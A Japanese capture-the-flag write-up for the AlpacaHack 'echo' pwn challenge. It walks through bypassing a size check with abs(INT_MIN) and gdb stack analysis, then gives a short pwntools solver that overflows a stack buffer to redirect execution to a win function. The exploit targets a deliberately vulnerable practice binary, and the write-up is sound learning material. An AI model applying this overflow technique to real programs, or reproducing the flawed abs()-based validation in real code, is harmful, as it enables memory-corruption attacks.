https://alpacahack.com/ctfs/round-1
[pwn] echo
c言語で書かれたソースコードmain.cとビルド済みバイナリechoが与えられる。ソースコードは以下。
#include <stdio.h> #include <stdlib.h> #include <unistd.h> #define BUF_SIZE 0x100 /* Call this function! */ void win() { char *args[] = {"/bin/cat", "/flag.txt", NULL}; execve(args[0], args, NULL); exit(1); } int get_size() { // Input size int size = 0; scanf("%d%*c", &size); // Validate size if ((size = abs(size)) > BUF_SIZE) { puts("[-] Invalid size"); exit(1); } return size; } void get_data(char *buf, unsigned size) { unsigned i; char c; // Input data until newline for (i = 0; i < size; i++) { if (fread(&c, 1, 1, stdin) != 1) break; if (c == '\n') break; buf[i] = c; } buf[i] = '\0'; } void echo() { int size; char buf[BUF_SIZE]; // Input size printf("Size: "); size = get_size(); // Input data printf("Data: "); get_data(buf, size); // Show data printf("Received: %s\n", buf); } int main() { setbuf(stdin, NULL); setbuf(stdout, NULL); echo(); return 0; }
win関数が呼べればフラグが得られる。流れとしてはecho関数に入ったあと、get_size関数で入力文字長を取得して、get_data関数でデータを入力している。checksecでバイナリを見てみよう。
Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
Stackを見るとリターンアドレス書き換えを防止するCanaryが付いていない。win関数を呼べればフラグが得られるという点も考えても、リターンアドレスを書き換えればよさそうだ。
get_data関数はsize文字分読み取ってbufに書き込んでいる。bufはBUF_SIZE分取られているので、これを超えて書き込むことができればリターンアドレスを書き換えて、関数から戻った先をwin関数に変えることができる。
get_data関数で使うsizeはget_size関数で取得しているが、ここでsizeがBUF_SIZEを超えないように検証処理が入っている。get_size関数を再掲しよう。
int get_size() { // Input size int size = 0; scanf("%d%*c", &size); // Validate size if ((size = abs(size)) > BUF_SIZE) { puts("[-] Invalid size"); exit(1); } return size; }
abs関数を使って負の数を受け入れないようにしている。これを回避する方法が無いかpwn ctf abs
とかで調べてみたが見当たらない。ChatGPTに聞いてみると教えてくれた。
Q: absって壊れたりしますか?
A: abs 関数自体が壊れることは通常ありませんが、特定の状況や誤った使い方によって問題が生じる場合があります。[省略]
abs 関数で問題が発生する可能性のあるシナリオ
符号付き整数のオーバーフロー:
abs 関数を INT_MIN に適用すると、オーバーフローが発生する可能性があります。例えば、32ビットの int 型では、INT_MIN は -2147483648 です。これを絶対値にすると 2147483648 となりますが、int の最大値は 2147483647 であるため、これを表現できずにオーバーフローが発生します。
なるほどー!!ということで-2147483648
を入力することで自由文字長入力できるようになる。あとは、バッファーオーバーフローでリターンアドレスを書き換えよう。
gdb+pedaでechoを起動してスタックの状態を見てみる。gdb ./echo
で起動してstart
でステップ実行開始。ni
で進んでいき、echo関数に入りたいので0x4013cf <main+53>: call 0x401321 <echo>
まで来たら中に入るためにstep
する。そこからni
でさらに進むとスタックが整ってくるので、数ステップ行ったらstack 50
とかでスタックが見られる。
0272| 0x7fffffffdca0 --> 0x7fffffffdcb0 --> 0x1 0280| 0x7fffffffdca8 --> 0x4013d4 (<main+58>: mov eax,0x0) 0288| 0x7fffffffdcb0 --> 0x1
以上のようにオフセットが280の地点にmain関数へのリターンアドレスが書いてあった。bufへの書き込みもni
で進めていきAAAAA
を書き込んでみると
0000| 0x7fffffffdb90 --> 0x4141414141 ('AAAAA')
のようにオフセット0の地点から書き込まれることが分かった。(ちゃんと計算する方が地力が付きそうだが…)スタックの状態を見るとbufに280バイト分ゴミデータを書き込んだあと、win関数のアドレスを書き込めばリターンアドレスをwin関数のものに変更ができる。ということで以下のようにpwntoolsを使ってソルバーを書くとフラグ獲得。
from pwn import * win = ELF("./echo").symbols["win"] p = process('./echo') #p = remote("[redacted]", [redacted]) p.sendlineafter(b"Size: ", b"-2147483648") p.sendlineafter(b"Data: ", b'A' * 280 + p32(win)) print(p.recvall())